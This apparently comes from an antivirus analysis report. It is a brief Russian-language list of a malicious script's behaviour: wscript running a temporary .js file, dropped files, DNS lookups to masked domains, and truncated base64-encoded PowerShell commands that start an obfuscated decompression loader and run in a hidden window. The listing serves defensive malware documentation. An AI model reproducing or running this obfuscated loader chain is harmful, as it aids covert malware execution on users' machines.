Техническая информация
- '<SYSTEM32>\wscript.exe' "%WINDIR%\Temp\SjrwBcwkftK.js"
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1904
- %WINDIR%\temp\sjrwbcwkftk.js
- %TEMP%\824714.cvr
- DNS ASK oz####75936b8d.com
- DNS ASK b7####7q2jsxds.top
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -E IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtAC...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -E IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtAC...